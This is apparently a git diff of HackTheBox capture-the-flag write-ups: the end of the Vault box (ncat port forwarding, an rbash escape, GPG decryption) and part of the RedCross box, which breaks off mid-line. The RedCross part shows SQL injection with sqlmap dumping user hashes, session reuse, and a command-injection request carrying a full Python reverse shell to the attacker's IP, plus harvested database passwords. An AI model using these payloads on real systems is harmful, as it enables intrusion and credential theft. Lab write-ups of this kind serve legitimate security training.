10.10.10.109) + dave/dav3gerous567 (192.168.122.4) + + +` ![](prg/35_012.png) + + + [0] nothing [ 10.10.14.24/23 ] [~] + → ssh dave@10.10.10.109 + dave@10.10.10.109's password: + Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-45-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + 222 packages can be updated. + 47 updates are security updates. + + Last login: Tue Mar 24 03:06:18 2020 from 127.0.0.1 + + + dave@ubuntu:~$ ssh dave@192.168.122.4 + dave@192.168.122.4's password: + Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic i686) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + 98 packages can be updated. + 50 updates are security updates. + + + Last login: Mon Sep 3 16:38:03 2018 + dave@DNS:~$ sudo -l + [sudo] password for dave: + Matching Defaults entries for dave on DNS: + env_reset, mail_badpass, + secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin + + User dave may run the following commands on DNS: + (ALL : ALL) ALL + + +Onto which, we see that dave can run everything as root, so it's not a problem not having the root user on 192.168.122.4 we can just use dave's second password (dav3gerous567) + + + dave@DNS:~$ cat /etc/hosts + 127.0.0.1 localhost + 127.0.1.1 DNS + 192.168.5.2 Vault + # The following lines are desirable for IPv6 capable hosts + ::1 localhost ip6-localhost ip6-loopback + ff02::1 ip6-allnodes + ff02::2 ip6-allrouters + + + +Now from here we see something interesting which is a supposed 192.168.5.2 host referred to as "Vault" However we can't ping to it for some reason: + + + dave@DNS:~$ ping -c 3 192.168.5.2 + PING 192.168.5.2 (192.168.5.2) 56(84) bytes of data. + + --- 192.168.5.2 ping statistics --- + 3 packets transmitted, 0 received, 100% packet loss, time 2016ms + + dave@DNS:~$ ping -c 3 Vault + PING Vault (192.168.5.2) 56(84) bytes of data. + + --- Vault ping statistics --- + 3 packets transmitted, 0 received, 100% packet loss, time 1999ms + + dave@DNS:~$ which nmap + /usr/bin/nmap + + +We could assume that host is blocking our ping request, to which thankfully we have nmap's -Pn to save ourselves the trouble, however for some reason it gives us this weird result of just 2 closed ports: + + + dave@DNS:~$ sudo /usr/bin/nmap 192.168.5.2 -Pn -f + + Starting Nmap 7.01 ( https://nmap.org ) at 2020-03-24 10:31 GMT + mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers + Nmap scan report for Vault (192.168.5.2) + Host is up (0.0020s latency). + Not shown: 998 filtered ports + PORT STATE SERVICE + 53/tcp closed domain + 4444/tcp closed krb524 + + Nmap done: 1 IP address (1 host up) scanned in 12.97 seconds + + + +` ![](prg/35_013.png) + +the reason lies in /var/log/auth.log : + + + sudo cat /var/log/auth.log + + Sep 2 15:07:45 DNS sudo: pam_unix(sudo:auth): authentication failure; logname=dave uid=1001 euid=0 tty=/dev/pts/0 ruser=dave rhost= user=dave + Sep 2 15:07:51 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/nmap 192.168.5.2 -Pn --source-port=4444 -f + Sep 2 15:07:51 DNS sudo: pam_unix(sudo:session): session opened for user root by dave(uid=0) + Sep 2 15:08:55 DNS sudo: pam_unix(sudo:session): session closed for user root + Sep 2 15:09:01 DNS CRON[2459]: pam_unix(cron:session): session opened for user root by (uid=0) + Sep 2 15:09:01 DNS CRON[2459]: pam_unix(cron:session): session closed for user root + Sep 2 15:10:20 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 1234 --sh-exec ncat 192.168.5.2 987 -p 53 + Sep 2 15:10:20 DNS sudo: pam_unix(sudo:session): session opened for user root by dave(uid=0) + Sep 2 15:10:34 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 3333 --sh-exec ncat 192.168.5.2 987 -p 53 + + + +From here we are heavily hinted to use the same nmap command but to make our scan originate from our port 4444: + + + dave@DNS:~$ sudo /usr/bin/nmap 192.168.5.2 -Pn -f --source-port=4444 + + Starting Nmap 7.01 ( https://nmap.org ) at 2020-03-24 10:34 GMT + mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers + Nmap scan report for Vault (192.168.5.2) + Host is up (0.0022s latency). + Not shown: 999 closed ports + PORT STATE SERVICE + 987/tcp open unknown + + Nmap done: 1 IP address (1 host up) scanned in 20.84 seconds + + + +Now we see something interesting, we have an opened port 987 although with an unknown service, so let's verify it with the netstat command : + + + dave@DNS:~$ netstat -atun + Active Internet connections (servers and established) + Proto Recv-Q Send-Q Local Address Foreign Address State + tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN + tcp 0 0 192.168.122.4:22 192.168.122.1:50700 ESTABLISHED + tcp6 0 0 :::80 :::* LISTEN + tcp6 0 0 :::22 :::* LISTEN + tcp6 0 0 192.168.122.4:80 192.168.122.1:52998 ESTABLISHED + udp 0 0 0.0.0.0:36685 0.0.0.0:* + + +In the previous auth.log file we were also hinted to use the ncat command like so : + + + dave@DNS:~$ sudo ncat 192.168.5.2 987 -p 53 + SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4 + + +And there we have it ! 192.168.5.2 987 is an ssh port which seems to be accessible only from ports 53 or 4444. so we'll use netcat to create a port forwarding from our machine (192.168.122.4:53) to our final destination (192.168.5.2:987) + + + sudo /usr/bin/ncat -l 1234 --sh-exec "ncat 192.168.5.2 987 -p 53" & sleep 5 && ssh dave@localhost -p 1234 + + +This will allow us to use our localhost (127.0.0.1)'s 1234 port to access our final destination(192.168.5.2)'s 987 port from our current machine (192.168.122.4)'s 53 port. To which we will ssh using the same credentials as we used for 192.168.122.4 (dave/dav3gerous567) : + +![](prg/35_014.png) + + + dave@DNS:~$ sudo /usr/bin/ncat -l 1234 --sh-exec "ncat 192.168.5.2 987 -p 53" & sleep 5 && ssh dave@localhost -p 1234 + [1] 13546 + The authenticity of host '[localhost]:1234 ([::1]:1234)' can't be established. + ECDSA key fingerprint is SHA256:Wo70Zou+Hq5m/+G2vuKwUnJQ4Rwbzlqhq2e1JBdjEsg. + Are you sure you want to continue connecting (yes/no)? yes + Warning: Permanently added '[localhost]:1234' (ECDSA) to the list of known hosts. + dave@localhost's password: + Permission denied, please try again. + dave@localhost's password: + Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic i686) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + 96 packages can be updated. + 49 updates are security updates. + + + Last login: Mon Sep 3 16:48:00 2018 + dave@vault:~$ ls + root.txt.gpg + dave@vault:~$ cat root-rbash: /dev/null: restricted: cannot redirect output + bash: _upvars: `-a2': invalid number specifier + -rbash: /dev/null: restricted: cannot redirect output + bash: _upvars: `-a0': invalid number specifier + + cat: root: No such file or directory + dave@vault:~$ exit + logout + -rbash: /usr/bin/clear_console: restricted: cannot specify `/' in command names + Connection to localhost closed. + + +And we got trolled! it gave us access to vault, but we got dropped into a restricted bash (rbash) so we will specify the correct bash we want to use in the ssh command: + + + dave@DNS:~$ sudo /usr/bin/ncat -l 1234 --sh-exec "ncat 192.168.5.2 987 -p 53" & sleep 5 && ssh dave@localhost -p 1234 -t "bash --noprofile" + [1] 13553 + dave@localhost's password: + dave@vault:~$ ls + root.txt.gpg + + dave@vault:~$ file root.txt.gpg + root.txt.gpg: PGP RSA encrypted session key - keyid: 10C678C7 31FEBD1 RSA (Encrypt or Sign) 4096b . + + dave@vault:~$ which gpg + /usr/bin/gpg + + dave@vault:~$ gpg -d root.txt.gpg + gpg: encrypted with RSA key, ID D1EB1F03 + gpg: decryption failed: secret key not available + + + +And we get into a proper shell ! although as you can see we need a certain private key to decrypt it. However we do have the private key with the ID D1EB1F03 we need on the first machine (192.168.122.1 or 10.10.10.109) + + + dave/Dav3therav3123 (192.168.122.1) (also 10.10.10.109) + dave/dav3gerous567 (192.168.122.4) + + + + [0] nothing [ 10.10.14.24/23 ] [~] + → ssh dave@10.10.10.109 + dave@10.10.10.109's password: + Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-45-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + 222 packages can be updated. + 47 updates are security updates. + + Last login: Tue Mar 24 03:22:31 2020 from 10.10.14.24 + dave@ubuntu:~$ gpg --list-secret-keys + /home/dave/.gnupg/secring.gpg + ----------------------------- + sec 4096R/0FDFBFE4 2018-07-24 + uid david <****dave@david.com> + ssb 4096R/D1EB1F03 2018-07-24 + + dave@ubuntu:~$ ls + Desktop Documents Downloads examples.desktop Music Pictures Public Templates Videos + dave@ubuntu:~$ cd Desktop + dave@ubuntu:~/Desktop$ ls + key Servers ssh + + dave@ubuntu:~/Desktop$ cat key + itscominghome + +The decrypted key was actually in dave's desktop and it is the password "itscominghome" so we use it to decrypt root.txt.gpg: + + + dave@vault:~$ gpg -d root.txt.gpg + gpg: encrypted with RSA key, ID D1EB1F03 + gpg: decryption failed: secret key not available + dave@vault:~$ + + +Although as you can see we can't just pass it the passphrase since the actual key is not on 192.168.5.2, it is on 192.168.122.1 ! From here, the simplest way to continue this box is to copy the file to ubuntu to decrypt it by simply doing a copy paste using base64 encoding and decoding : + + + dave@vault:~$ which base64 + dave@vault:~$ which base32 + /usr/bin/base32 + + + +Yet another troll ! we have to use base32 instead of base64 but that's not a problem, we can do that aswell : + + + dave@vault:~$ base32 root.txt.gpg + QUBAYA6HPDDBBUPLD4BQCEAAUCMOVUY2GZXH4SL5RXIOQQYVMY4TAUFOZE64YFASXVITKTD56JHD + LIHBLW3OQMKSHQDUTH3R6QKT3MUYPL32DYMUVFHTWRVO5Q3YLSY2R4K3RUOYE5YKCP2PAX7S7OJB + GMJKKZNW6AVN6WGQNV5FISANQDCYJI656WFAQCIIHXCQCTJXBEBHNHGQIMTF4UAQZXICNPCRCT55 + AUMRZJEQ2KSYK7C3MIIH7Z7MTYOXRBOHHG2XMUDFPUTD5UXFYGCWKJVOGGBJK56OPHE25OKUQCRG + VEVINLLC3PZEIAF6KSLVSOLKZ5DWWU34FH36HGPRFSWRIJPRGS4TJOQC3ZSWTXYPORPUFWEHEDOE + OPWHH42565HTDUZ6DPJUIX243DQ45HFPLMYTTUW4UVGBWZ4IVV33LYYIB32QO3ONOHPN5HRCYYFE + CKYNUVSGMHZINOAPEIDO7RXRVBKMHASOS6WH5KOP2XIV4EGBJGM4E6ZSHXIWSG6EM6ODQHRWOAB3 + AGSLQ5ZHJBPDQ6LQ2PVUMJPWD2N32FSVCEAXP737LZ56TTDJNZN6J6OWZRTP6PBOERHXMQ3ZMYJI + UWQF5GXGYOYAZ3MCF75KFJTQAU7D6FFWDBVQQJYQR6FNCH3M3Z5B4MXV7B3ZW4NX5UHZJ5STMCTD + ZY6SPTKQT6G5VTCG6UWOMK3RYKMPA2YTPKVWVNMTC62Q4E6CZWQAPBFU7NM652O2DROUUPLSHYDZ + 6SZSO72GCDMASI2X3NGDCGRTHQSD5NVYENRSEJBBCWAZTVO33IIRZ5RLTBVR7R4LKKIBZOVUSW36 + G37M6PD5EZABOBCHNOQL2HV27MMSK3TSQJ4462INFAB6OS7XCSMBONZZ26EZJTC5P42BGMXHE274 + 64GCANQCRUWO5MEZEFU2KVDHUZRMJ6ABNAEEVIH4SS65JXTGKYLE7ED4C3UV66ALCMC767DKJTBK + TTAX3UIRVNBQMYRI7XY= + + +Copy paste the string on 192.168.122.1 and save it as '0xRick_is_awesome' : + + + dave@ubuntu:~/Desktop$ echo 'QUBAYA6HPDDBBUPLD4BQCEAAUCMOVUY2GZXH4SL5RXIOQQYVMY4TAUFOZE64YFASXVITKTD56JHD + > LIHBLW3OQMKSHQDUTH3R6QKT3MUYPL32DYMUVFHTWRVO5Q3YLSY2R4K3RUOYE5YKCP2PAX7S7OJB + > GMJKKZNW6AVN6WGQNV5FISANQDCYJI656WFAQCIIHXCQCTJXBEBHNHGQIMTF4UAQZXICNPCRCT55 + > AUMRZJEQ2KSYK7C3MIIH7Z7MTYOXRBOHHG2XMUDFPUTD5UXFYGCWKJVOGGBJK56OPHE25OKUQCRG + > VEVINLLC3PZEIAF6KSLVSOLKZ5DWWU34FH36HGPRFSWRIJPRGS4TJOQC3ZSWTXYPORPUFWEHEDOE + > OPWHH42565HTDUZ6DPJUIX243DQ45HFPLMYTTUW4UVGBWZ4IVV33LYYIB32QO3ONOHPN5HRCYYFE + > CKYNUVSGMHZINOAPEIDO7RXRVBKMHASOS6WH5KOP2XIV4EGBJGM4E6ZSHXIWSG6EM6ODQHRWOAB3 + > AGSLQ5ZHJBPDQ6LQ2PVUMJPWD2N32FSVCEAXP737LZ56TTDJNZN6J6OWZRTP6PBOERHXMQ3ZMYJI + > UWQF5GXGYOYAZ3MCF75KFJTQAU7D6FFWDBVQQJYQR6FNCH3M3Z5B4MXV7B3ZW4NX5UHZJ5STMCTD + > ZY6SPTKQT6G5VTCG6UWOMK3RYKMPA2YTPKVWVNMTC62Q4E6CZWQAPBFU7NM652O2DROUUPLSHYDZ + > 6SZSO72GCDMASI2X3NGDCGRTHQSD5NVYENRSEJBBCWAZTVO33IIRZ5RLTBVR7R4LKKIBZOVUSW36 + > G37M6PD5EZABOBCHNOQL2HV27MMSK3TSQJ4462INFAB6OS7XCSMBONZZ26EZJTC5P42BGMXHE274 + > 64GCANQCRUWO5MEZEFU2KVDHUZRMJ6ABNAEEVIH4SS65JXTGKYLE7ED4C3UV66ALCMC767DKJTBK + > TTAX3UIRVNBQMYRI7XY=' > 0xRick_is_awesome + + dave@ubuntu:~/Desktop$ which base32 + /usr/bin/base32 + + dave@ubuntu:~/Desktop$ cat 0xRick_is_awesome | base32 -d > root.txt.gpg + + dave@ubuntu:~/Desktop$ file root.txt.gpg + root.txt.gpg: PGP RSA encrypted session key - keyid: 10C678C7 31FEBD1 RSA (Encrypt or Sign) 4096b . + + + +` ![](prg/35_015.png) + +Now on 192.168.122.1 we have access to the private key we need , so let's attempt to decrypt it with the itscominghome passphrase: + + + dave@ubuntu:~/Desktop$ gpg -d root.txt.gpg + + You need a passphrase to unlock the secret key for + user: "david <****dave@david.com>" + 4096-bit RSA key, ID D1EB1F03, created 2018-07-24 (main key ID 0FDFBFE4) + + gpg: encrypted with 4096-bit RSA key, ID D1EB1F03, created 2018-07-24 + "david <****dave@david.com>" + caXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + +And that's it! we have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/35_graph.png) + diff --git a/Medium/36.md b/Medium/36.md new file mode 100644 index 0000000..d0bbf9b --- /dev/null +++ b/Medium/36.md @@ -0,0 +1,458 @@ +# RedCross Writeup + +![](img/36.png) + +## Introduction : + +RedCross is a Medium linux box released back in November 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + {Ø} nothing [ 10.10.14.24/23 ] [~/_HTB/RedCross] + → nmap -sT -p- --min-rate 1000 10.10.10.113 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-24 13:17 GMT + Nmap scan report for 10.10.10.113 + Host is up (0.055s latency). + Not shown: 65532 filtered ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + 443/tcp open https + + Nmap done: 1 IP address (1 host up) scanned in 101.42 seconds + + {Ø} nothing [ 10.10.14.24/23 ] [~/_HTB/RedCross] + → nmap -sV 10.10.10.113 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-24 13:19 GMT + Nmap scan report for 10.10.10.113 + Host is up (0.059s latency). + Not shown: 997 filtered ports + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0) + 80/tcp open http Apache httpd 2.4.25 + 443/tcp open ssl/http Apache httpd 2.4.25 + Service Info: Host: redcross.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 20.73 seconds + + + + +## **Part 2 : Getting User Access** + +Interesting thing initially here with this box is that we have problems scanning it: -sC takes forever, -sU returns nothing, and we only get 3 tcp ports opened: 22, 80 and 443. We have a domain name: redcross.htb + +![](prg/36_001.png) + +Browsing to http://10.10.10.113/ we get redirected to intra.redcross.htb so we'll add both redcross.htb and intra.redcross.htb to our /etc/hosts file: + +![](prg/36_002.png) + +And we seem to get access to some sort of an intranet, which looks like a php website. We launch dirsearch to find interesting directories: + + + {Ø} nothing [ 10.10.14.24/23 ] [~] + → dirsearch -u https://intra.redcross.htb/ -t 50 -e html,txt,php,pdf -x 403 + git clone https://github.com/maurosoria/dirsearch.git + dirsearch -u -e -t 50 -x 500 + + _|. _ _ _ _ _ _|_ v0.3.9 + (_||| _) (/_(_|| (_| ) + + Extensions: php, txt | HTTP method: get | Threads: 50 | Wordlist size: 6417 + + Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-03-24_15-51-52.log + + Target: https://intra.redcross.htb/ + + [15:51:53] Starting: + [15:52:07] 301 - 334B - /documentation -> https://intra.redcross.htb/documentation/ + [15:52:09] 301 - 327B - /images -> https://intra.redcross.htb/images/ + [15:52:10] 302 - 463B - /index.php -> /?page=login + [15:52:10] 302 - 463B - /index.php/login/ -> /?page=login + [15:52:10] 301 - 331B - /javascript -> https://intra.redcross.htb/javascript/ + [15:52:14] 301 - 326B - /pages -> https://intra.redcross.htb/pages/ + + Task Completed + + + +From here we dirsearch once more, but this time in /documentations (we know that documentations would most likely be either txt,php,html or pdf): + + + ┌[ nihilist ]-[ Mahakala ]-[ 2020-03-31 ]-[ 10.10.14.42/23 ]-[~] + └→gobuster dir -u https://intra.redcross.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -k -np -t 30 -x pdf,txt,php,html,doc + + [...] + + =============================================================== + account-signup.pdf + =============================================================== + + +Running the appropriate gobuster command we find a pdf file that we download locally using wget with it's --no-check-certificate flag: + + + ┌[ nihilist ]-[ Mahakala ]-[ 2020-03-31 ]-[ 10.10.14.42/23 ]-[~/_HTB/RedCross] + └→ wget --no-check-certificate https://intra.redcross.htb/documentation/account-signup.pdf + --2020-03-31 12:13:16-- https://intra.redcross.htb/documentation/account-signup.pdf + Resolving intra.redcross.htb (intra.redcross.htb)... 10.10.10.113 + Connecting to intra.redcross.htb (intra.redcross.htb)|10.10.10.113|:443... connected. + WARNING: The certificate of ‘intra.redcross.htb’ is not trusted. + WARNING: The certificate of ‘intra.redcross.htb’ doesn't have a known issuer. + HTTP request sent, awaiting response... 200 OK + Length: 26001 (25K) [application/pdf] + Saving to: ‘account-signup.pdf’ + + account-signup.pdf 100%[===================>] 25.39K --.-KB/s in 0.04s + + 2020-03-31 12:13:16 (573 KB/s) - ‘account-signup.pdf’ saved [26001/26001] + + +` ![](prg/36_003.png) + +Looking at the pdf we are hinted towards using the contact page specifying an username in the body of the message in the form. Let's see if we can get something out of it : + +![](prg/36_004.png) + +Now we have been able to get temporary default credentials guest:guest, so we login: + +![](prg/36_005.png) + +Now the hint here was, that the URL might be vulnerable to SQL injection: + + + https://intra.redcross.htb/?page=app + https://intra.redcross.htb/?o=1'-- -&page;=app + + +` ![](prg/36_006.png) + +Now that we know it is vulnerable to SQLi, we intercept the request and save it locally in order to pass it to sqlmap: + +![](prg/36_007.png) + + + ┌[ nihilist ]-[ Mahakala ]-[ 2020-03-31 ]-[ 10.10.14.42/23 ]-[~/_HTB/RedCross] + └→ sqlmap -r request_sqli.req --batch --level=5 --risk=3 -D redcross -T users --dump + ___ + __H__ + ___ ___[']_____ ___ ___ {1.4.3#stable} + |_ -| . ["] | .'| . | + |___|_ [(]_|_|_|__,| _| + |_|V... |_| http://sqlmap.org + + [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program + + [*] starting @ 12:35:12 /2020-03-31/ + + + +Wait a bit and we get the 2 following results: + + + Database: redcross + Table: users + [5 entries] + +----+------+------------------------------+----------+--------------------------------------------------------------+ + | id | role | mail | username | password | + +----+------+------------------------------+----------+--------------------------------------------------------------+ + | 1 | 0 | admin@redcross.htb | admin | $2y$10$z/d5GiwZuFqjY1jRiKIPzuPXKt0SthLOyU438ajqRBtrb7ZADpwq. | + | 2 | 1 | penelope@redcross.htb | penelope | $2y$10$tY9Y955kyFB37GnW4xrC0.J.FzmkrQhxD..vKCQICvwOEgwfxqgAS | + | 3 | 1 | charles@redcross.htb | charles | $2y$10$bj5Qh0AbUM5wHeu/lTfjg.xPxjRQkqU6T8cs683Eus/Y89GHs.G7i | + | 4 | 100 | tricia.wanderloo@contoso.com | tricia | $2y$10$Dnv/b2ZBca2O4cp0fsBbjeQ/0HnhvJ7WrC/ZN3K7QKqTa9SSKP6r. | + | 5 | 1000 | non@available | guest | $2y$10$U16O2Ylt/uFtzlVbDIzJ8us9ts8f9ITWoPAWcUfK585sZue03YBAi | + +----+------+------------------------------+----------+--------------------------------------------------------------+ + + + + Database: redcross + Table: messages + [8 entries] + id,body,dest,origin,subject + 1,You're granted with a low privilege access while we're processing your credentials request. Our messaging system still in beta status. Please report if you find any incidence.,5,1,Guest Account Info + 2,"Hi Penny, can you check if is there any problem with the order? I'm not receiving it in our EDI platform.",2,4,Problems with order 02122128 + 3,"Please could you check the admin webpanel? idk what happens but when I'm checking the messages, alerts popping everywhere!! Maybe a virus?",3,1,Strange behavior + 4,"Hi, Please check now... Should be arrived in your systems. Please confirm me. Regards.",4,2,Problems with order 02122128 + 5,"Hey, my chief contacted me complaining about some problem in the admin webapp. I thought that you reinforced security on it... Alerts everywhere!!",2,3,admin subd webapp problems + 6,"Hi, Yes it's strange because we applied some input filtering on the contact form. Let me check it. I'll take care of that since now! KR",3,2,admin subd webapp problems (priority) + 7,"Hi, Please stop checking messages from intra platform, it's possible that there is a vuln on your admin side... ",1,2,STOP checking messages from intra (priority) + 8,Sorry but I can't do that. It's the only way we have to communicate with partners and we are overloaded. Doesn't look so bad... besides that what colud happen? Don't worry but fix it ASAP.,2,1,STOP checking messages from intra (priority) + + +And we have a few interesting results ! We could have also found them by doing a blind SQLi test like so : + +![](prg/36_008.png) + +using the filter reveals the url structure : **?o=1 &page;=app ** where the o parameter is injectable. and we can check it by using the following url : + + + https://intra.redcross.htb/?o=...'5' or dest like 'OUR INPUT') LIMIT 10&page;=app + + +` ![](prg/36_009.png) + +Knowing this, we can use the following url to have **or dest like '%'** in the query which is always **true** and will return all results, therefore achieving the sql injection results sqlmap found earlier: + + + https://intra.redcross.htb/?**o=%** &page;=app + + +` ![](prg/36_010.png) + +Now from here we have a bunch of interesting info such as the admin subdomain: + +![](prg/36_011.png) + +Which gives us access to an Admin pannel. So we try our previous credentials guest:guest here and we get the following error : + +![](prg/36_012.png) + +But to bypass this error, we simply use the PHPSESSID we got from being logged as guest in intra.redcross.htb into admin.redcross.htb and therefore giving us access: + +![](prg/36_013.png) + +Log in as guest:guest once again with the correct PHPSESSID: + +![](prg/36_014.png) + +From there go to the firewall page and add your own ip adress so that it allows you access onto the box: + +![](prg/36_015.png) + +Once that's done you head over to the users page to create yourself creds to use onto the ssh port of the box: + + + ┌[ nihilist ]-[ Mahakala ]-[ 2020-03-31 ]-[ 10.10.14.42/23 ]-[~] + └→ nmap -sCV -p22 10.10.10.113 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-31 19:41 BST + Nmap scan report for redcross.htb (10.10.10.113) + Host is up (0.063s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0) + | ssh-hostkey: + | 2048 67:d3:85:f8:ee:b8:06:23:59:d7:75:8e:a2:37:d0:a6 (RSA) + | 256 89:b4:65:27:1f:93:72:1a:bc:e3:22:70:90:db:35:96 (ECDSA) + |_ 256 66:bd:a1:1c:32:74:32:e2:e6:64:e8:a5:25:1b:4d:67 (ED25519) + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 2.70 seconds + + ┌[ nihilist ]-[ Mahakala ]-[ 2020-03-31 ]-[ 10.10.14.42/23 ]-[~] + └→ ssh nihilist@10.10.10.113 + The authenticity of host '10.10.10.113 (10.10.10.113)' can't be established. + ECDSA key fingerprint is SHA256:yd04sZox5Ub78YD9IP7Yrslhv2TgP7lcFNiOBpZjCfk. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.113' (ECDSA) to the list of known hosts. + nihilist@10.10.10.113's password: + Linux redcross 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64 + + The programs included with the Debian GNU/Linux system are free software; + the exact distribution terms for each program are described in the + individual files in /usr/share/doc/*/copyright. + + Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent + permitted by applicable law. + $ id + uid=2020 gid=1001(associates) groups=1001(associates) + $ + + +And that's it ! we have been able to log onto the box via ssh, however from there we can't do much. + +## **Part 3 : Getting Root Access** + +The intended way was back in the IP Whitelisting page, so as we click "deny" on our own ip we basically intercept the request with foxyproxy and burpsuite, send it over to repeater (CTRL+R) and go there (CTRL+SHIFT+R) + +![](prg/36_017.png) + +And in this request the ip=10.10.14.42 parameter is actually command injectable as you can see: + +![](prg/36_018.png) + +So we made the box connect back to us using curl, therefore we can replace this curl command to send ourselves a reverse shell, and blindly guessing we'll use python to do so: + +_Request:_ + + + POST /pages/actions.php HTTP/1.1 + Host: admin.redcross.htb + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + Referer: https://admin.redcross.htb/?page=firewall + Content-Type: application/x-www-form-urlencoded + Content-Length: 260 + DNT: 1 + Connection: close + Cookie: PHPSESSID=**aj4fvk1cbntdjldcqhsicc1bk0** + Upgrade-Insecure-Requests: 1 + + ip=10.10.14.42;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((**"10.10.14.42",9002**));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'&id;=13&action;=deny + + +` ![](prg/36_019.png) + +And we have a reverse shell as www-data! now let's upgrade our shell with a tty shell using python's pty module: + + + ┌[ nihilist ]-[ Mahakala ]-[ 2020-03-31 ]-[ 10.10.14.42/23 ]-[~] + └→ nc -lvnp 9001 + Listening on 0.0.0.0 9001 + Connection received on 10.10.10.113 48644 + /bin/sh: 0: can't access tty; job control turned off + $ id + uid=33(www-data) gid=33(www-data) groups=33(www-data) + $ which python + /usr/bin/python + $ python -c 'import pty;pty.spawn("/bin/bash")' + www-data@redcross:/var/www/html/admin/pages$ ls + ls + actions.php cpanel.php header.php users.php + bottom.php firewall.php login.php + + + +Now from here, we had to take a look into actions.php : + + + www-data@redcross:/var/www/html/admin/pages$ cat actions.php | grep user + cat actions.php | grep user + if(!isset($_POST['pass']) and !isset($_POST['user'])){ + $user=$_POST['user']; + $mysqli = new mysqli($dbhost, $dbuser, $dbpass, $dbname); + $sql=$mysqli->prepare("SELECT id, password, mail, role FROM users WHERE username = ?"); + $sql->bind_param("s", $user); + $_SESSION['userid']=$id; + $_SESSION['username']=$user; + $dbconn = pg_connect("host=127.0.0.1 dbname=redcross user=www password=aXwrtUO9_aa&"); + $res = pg_execute($dbconn, "q2", array($_SESSION['userid'], $ip)); + $dbconn = pg_connect("host=127.0.0.1 dbname=redcross user=www password=aXwrtUO9_aa&"); + if($action==='adduser'){ + $username=$_POST['username']; + $dbconn = pg_connect("host=127.0.0.1 dbname=unix user=unixusrmgr password=dheu%7wjx8B&"); + $result = pg_prepare($dbconn, "q1", "insert into passwd_table (username, passwd, gid, homedir) values ($1, $2, 1001, '/var/jail/home')"); + $result = pg_execute($dbconn, "q1", array($username, $phash)); + echo "Provide this credentials to the user: + + "; + echo "**$username : $passw** + + [Continue](/?page=users)"; + header('refresh:1;url=/?page=users'); + $dbconn = pg_connect("host=127.0.0.1 dbname=unix user=unixusrmgr password=dheu%7wjx8B&"); + + + +Which revealed us a bunch of credentials and at the same time hinting us into /var/jail where the homedir is for the user we created earlier with our restricted shell: + + + www-data@redcross:/var/www/html/admin/pages$ cd /var/jail/home + cd /var/jail/home + www-data@redcross:/var/jail/home$ ls -lash + ls -lash + total 16K + 4.0K drwxr-xr-x 4 root associates 4.0K Jun 9 2018 . + 4.0K drwxr-xr-x 10 root root 4.0K Jun 8 2018 .. + 4.0K drwxr-xr-x 2 root associates 4.0K Jun 8 2018 interface_data + 4.0K drwxrwxr-x 3 root associates 4.0K Jun 8 2018 public + + +back in actions.php, we see the deny action which allowed us to have command injection: + + + if($action==='deny'){ + header('refresh:1;url=/?page=firewall'); + $id=$_POST['id']; + $ip=$_POST['ip']; + $dbconn = pg_connect("host=127.0.0.1 dbname=redcross user=www password=aXwrtUO9_aa&"); + $result = pg_prepare($dbconn, "q1", "DELETE FROM ipgrants WHERE id = $1"); + $result = pg_execute($dbconn, "q1", array($id)); + echo system("/opt/iptctl/iptctl restrict 